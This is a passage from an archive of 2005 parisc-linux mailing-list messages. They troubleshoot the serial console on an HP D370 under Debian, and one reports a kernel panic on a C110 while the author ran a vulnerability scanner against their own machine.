	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 01:28:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00877-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 01:28:35 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 3CC4B7D695
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 01:28:35 -0600 (MDT)
Original-Received: from mail-5-bnl.mail.tiscali.sys ([10.39.115.135]
	helo=mail-5-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DaTpz-0008Nw-5D; Tue, 24 May 2005 09:28:29 +0200
Original-Received: from [194.78.127.218] by mail-5-bnl.tiscali.it with HTTP;
	Tue, 24 May 2005 09:28:26 +0200
In-Reply-To: <20050524045149.GA867@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +bLgYnpOeSEkXr6WZHQhaXN1IGRvbwCc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22732

hello,

> 
> On Mon, May 23, 2005 at 06:10:21PM -0300, Daniel Coletti wrote:
> > Hi,
> > 	I am trying to install Debian on a HP-9000 D370. The booting works 
> > fine, I interacted a lot with the HP IPL and got it to boot from the
CD
> 
> > and everything.
About a mount ago I also installed a d380 without pb too and it boot fine=

(up kernel for now)

> > It boots, but is this very nice message at the bottom of my serial 
> > console terminal that says ``If this is the last message you see [...=
]
> 
> > check the FAQ and/or mailing lists??. Well, I have and found no answe=
r
> 
> > for my problem.
> > I did try a lot of different devices on the kernel booting line, 
> > parameter "console=3D" to be precise.
> > 
> > ttyS0, ttyS1, tty0, tty1, and other things that I saw other people tr=
ied.
> 
> Shouldn't that be ttyB0 if it's using the mux driver?
Afaik for k models?

> 
> > Am I pointing to the right direction? or I have to change something 
> > else? What other values can I try?
> > 
I would like to ask if your serial console it's connected to a buitin ser=
ial
port?
On D model it exists a additional 'remote access card' (a serial console
too) which I had to remove because broken but I am not sure it's supporte=
d?
It was also recommened to remove all other additonal card to test first ;=
-)

hth,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] If this is the last message you see
Date: Tue, 24 May 2005 09:43:38 +0300
Lines: 33
Approved: news@gmane.org
Message-ID: <20050524074339.5B553365917@mail.esiee.fr>
References: <20050524045149.GA867@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623790 14653 80.91.229.3 (22 Nov 2014 02:36:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2005 07:43:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 24 May 2005 09:43:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 080607D6A5;
	Tue, 24 May 2005 01:43:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01188-06; Tue, 24 May 2005 01:43:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26E847D6AD;
	Tue, 24 May 2005 01:43:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B51E67D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 01:43:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01188-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 01:43:43 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 250FE7D698
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 01:43:43 -0600 (MDT)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id D35AC365919;
	Tue, 24 May 2005 09:43:41 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 5B553365917;
	Tue, 24 May 2005 09:43:39 +0200 (CEST)
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <20050524045149.GA867@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: br7gYvAPeSEkb76WZHQhaXN1IGRvbwCX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22733

Grant Grundler wrote:
> On Mon, May 23, 2005 at 06:10:21PM -0300, Daniel Coletti wrote:
> > Hi,
> > Am I pointing to the right direction? or I have to change
something=20
> > else? What other values can I try?
> >=20
> > thanks a lot.
>=20
> Wasn't there a goofy card that needs to be removed from D-class
> in order for parisc-linux to work properly?
> Search the parisc-linux mail archive for "remove management card"
> or variants of that.

Actually no:

See
http://www.pateam.org/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/hardw
are.html

"D class works unless you have a Remote Management Card installed.
Even then, it still kind of works, it's just that ttyS0 gets assigned
to the second serial port and you have to switch cables around."

HTH

T-Bone, still planning a release of the updated howto ;)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Coletti <dcoletti@xtech.com.ar>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] If this is the last message you see
Date: Tue, 24 May 2005 18:10:43 -0300
Lines: 61
Approved: news@gmane.org
Message-ID: <42939853.4090706@xtech.com.ar>
References: <429246BD.7020606@xtech.com.ar> <42932260.4070507@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623790 14654 80.91.229.3 (22 Nov 2014 02:36:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 May 2005 21:08:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx056) with SMTP; 24 May 2005 23:08:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0867B7D6A5;
	Tue, 24 May 2005 15:08:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06054-05; Tue, 24 May 2005 15:08:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC2547D6AD;
	Tue, 24 May 2005 15:08:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CED47D6A5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 15:08:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06054-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 15:08:10 -0600 (MDT)
Original-Received: from rex3.xtechq.com.ar (unknown [200.68.115.49])
	by free.linux.hp.com (Postfix) with ESMTP id 883B47D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 15:08:10 -0600 (MDT)
Original-Received: by rex3.xtechq.com.ar (Postfix, from userid 1256)
	id 48C0D3472DD2; Tue, 24 May 2005 18:08:12 -0300 (ART)
Original-Received: from [192.168.2.100] (unknown [192.168.1.5])
	by rex3.xtechq.com.ar (Postfix) with ESMTP id 8EBF73472DD1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 24 May 2005 18:08:11 -0300 (ART)
User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050322)
X-Accept-Language: en-us, en
In-Reply-To: <42932260.4070507@gmail.com>
X-Bogosity: No, tests=bogofilter, spamicity=0.000000, version=0.94.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: i/LhYmVDeSEkSr6WZHQhaXN1IGRvb0CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22734

cbeerse@gmail.com wrote:
> Daniel Coletti wrote:
>> Hi,
>>     I am trying to install Debian on a HP-9000 D370. The booting works 
>> fine, I interacted a lot with the HP IPL and got it to boot from the 
>> CD and everything.
>> It boots, but is this very nice message at the bottom of my serial 
>> console terminal that says ``If this is the last message you see [...] 
>> check the FAQ and/or mailing lists. Well, I have and found no answer 
>> for my problem.
>> I did try a lot of different devices on the kernel booting line, 
>> parameter "console=" to be precise.
>>
>> ttyS0, ttyS1, tty0, tty1, and other things that I saw other people tried.
> 
> You should not change the console-setting to the kernel, you should 
> switch cables from serial one to serial 2 at the moment you see the 
> message. As far as I recall, you have some time to do so before you 
> start missing boot-messages.

thanks, that was it ... I did have to change the console= parameter
because it defaults to ttyB0 and does not work (ttyS0 does in the Serial
port no. 2).
Now I have problems with term emulation (I have a hp 700/96 terminal),
nothing a serial cable with minicom can't handle.

thanks again,

daniel//

> 
> If you remove the support-board, the console will not be moved from 
> serial 1 to serial 2. Since the board is (afaik) not supported (what 
> does it do at all?) there is no harm in removing it.
> 
>>
>> Am I pointing to the right direction? or I have to change something 
>> else? What other values can I try?
>>
> 
> none at all.
> 
> 
> Success,
> 
> CBee
> 


-- 
Daniel Coletti
XTech (Soluciones Linux para Empresas) - http://www.xtech.com.ar
25 de Mayo 293 - 5to. 'B'
Buenos Aires, Argentina

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] If this is the last message you see
Date: Wed, 25 May 2005 09:20:57 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <42933E2F000003E2@mail-1-bnl.tiscali.it>
References: <42939853.4090706@xtech.com.ar>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623790 14658 80.91.229.3 (22 Nov 2014 02:36:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:30 +0000 (UTC)
To: "Daniel Coletti" <dcoletti@xtech.com.ar>,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2005 07:21:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 25 May 2005 09:21:25 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96AD57D68E;
	Wed, 25 May 2005 01:21:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07853-07; Wed, 25 May 2005 01:21:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B48FA7D688;
	Wed, 25 May 2005 01:21:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 390377D681
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 May 2005 01:21:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07823-09 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 May 2005 01:21:04 -0600 (MDT)
Original-Received: from mrqout2.tiscali.it (mrqout2.tiscali.it [195.130.225.12])
	by free.linux.hp.com (Postfix) with ESMTP id 914097D680
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 May 2005 01:21:04 -0600 (MDT)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrqout2.tiscali.it with esmtp (Exim 4.43)
	id 1DaqCJ-0001rq-1n; Wed, 25 May 2005 09:21:01 +0200
Original-Received: from [194.78.127.218] by mail-1-bnl.tiscali.it with HTTP;
	Wed, 25 May 2005 09:20:57 +0200
In-Reply-To: <42939853.4090706@xtech.com.ar>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: IkLmYqMQeSEkY76WZHQhaXN1IGRvb0CX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22735

[snip]
> > You should not change the console-setting to the kernel, you should 
> > switch cables from serial one to serial 2 at the moment you see the 
> > message. As far as I recall, you have some time to do so before you 
> > start missing boot-messages.
> 
> thanks, that was it ... I did have to change the console=3D parameter
> because it defaults to ttyB0 and does not work (ttyS0 does in the Seria=
l
> port no. 2).
> Now I have problems with term emulation (I have a hp 700/96 terminal),
> nothing a serial cable with minicom can't handle.
> 
mmm (i don't have such device nor user guide near hand so I couldn't expl=
ain
how) but you can change the emulation of your physical terminal (hp 700/9=
6)
to vt100 or vt102 ;-)

hth,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sara make panicing 2.6.12-rc4-pa5 running on c110
Date: Fri, 27 May 2005 19:56:46 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <42977B7E.4010307@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623791 14663 80.91.229.3 (22 Nov 2014 02:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2005 19:58:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx041) with SMTP; 27 May 2005 21:58:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EB6F7D62A;
	Fri, 27 May 2005 13:58:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27350-08; Fri, 27 May 2005 13:58:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CAFA7D62B;
	Fri, 27 May 2005 13:58:48 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A0E87D626
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 May 2005 13:58:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27350-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 May 2005 13:58:46 -0600 (MDT)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 0EB967D615
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 27 May 2005 13:58:46 -0600 (MDT)
Original-Received: from [83.134.224.183] (helo=[83.134.224.183])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DbksP-0005y9-2F; Fri, 27 May 2005 21:52:13 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: qh7lYpozeSEkW76WZHQhaXN1IGRvbwCa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22736

Hello all,

This week I followed a cursus on security admin and would like to test a vulnerabilty scanner like sara against my c110 running a 
2.6.12-rc4-pa5...

Unfortunately, it panics:
device eth0 entered promiscuous mode
eth0: command unit timed out, status resetting.


Backtrace:
  [<10144fb0>] disable_irq_nosync+0x58/0x5c
  [<10144fd4>] disable_irq+0x20/0x38
  [<1026c9fc>] init_i596_mem+0x40/0x71c
  [<1026ee38>] i596_start_xmit+0x200/0x27c
  [<102c8cac>] qdisc_restart+0x74/0x1f8
  [<102bc904>] dev_queue_xmit+0x1a4/0x224
  [<102d40d4>] ip_finish_output+0xc4/0x240
  [<102d616c>] ip_push_pending_frames+0x2dc/0x45c
  [<102d6654>] ip_send_reply+0x1f4/0x254
  [<102eb24c>] tcp_v4_send_reset+0xfc/0x15c
  [<102ec6b0>] tcp_v4_rcv+0x320/0x7ac
  [<102d11d0>] ip_local_deliver+0xb8/0x1b8
  [<102d1670>] ip_rcv+0x3a0/0x4a8
  [<102bce40>] netif_receive_skb+0x108/0x1f4
  [<102bcfd0>] process_backlog+0xa4/0x18c
  [<102bd158>] net_rx_action+0xa0/0x16c


High Priority Machine Check (HPMC): Code=1 regs=103b1080 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001110 Not tainted
r00-03  00000000 10402000 102187d4 0000000f
r04-07  10be3b00 2ffc7000 2ffc7320 2ffbb400
r08-11  2ffbb400 0000003c 103cf010 103cf010
r12-15  00000000 0000004d 00000001 00000000
r16-19  10404140 f00000ac f00000a4 ffd00004
r20-23  a0400000 10402240 102187ac 00000000
r24-27  00000020 10be3b3c 00000012 103ae010
r28-31  00000017 00000000 10404c00 10144fb0
sr0-3   00000000 00000000 00000000 00000f90
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 102187e8 102187ec
  IIR: d680141f    ISR: 00000000  IOR: 5fbc1a0c
  CPU:        0   CR30: 10404000 CR31: 10408000
  ORIG_R28: 00000000
  IAOQ[0]: gsc_asic_disable_irq+0x3c/0x50
  IAOQ[1]: gsc_asic_disable_irq+0x40/0x50
  RP(r2): gsc_asic_disable_irq+0x28/0x50
Kernel panic - not syncing: High Priority Machine Check (HPMC)

It seems to be du to the reset but not sure.

Any idea?

Thanks,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <blackdown@jdrake.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] blackdown support on linux on parisc arch
Date: Fri, 27 May 2005 09:53:38 -0700 (PDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.50.0505270943540.17931-100000__36600.1557595611$1416623791$gmane$org@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623791 14666 80.91.229.3 (22 Nov 2014 02:36:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: java-linux@java.blackdown.org
Original-X-From: - Wed Jul 02 21:27:21 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 May 2005 16:54:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 27 May 2005 18:54:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC5747D626;
	Fri, 27 May 2005 10:53:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26819-05; Fri, 27 May 2005 10:53:45 -0600 (MDT)
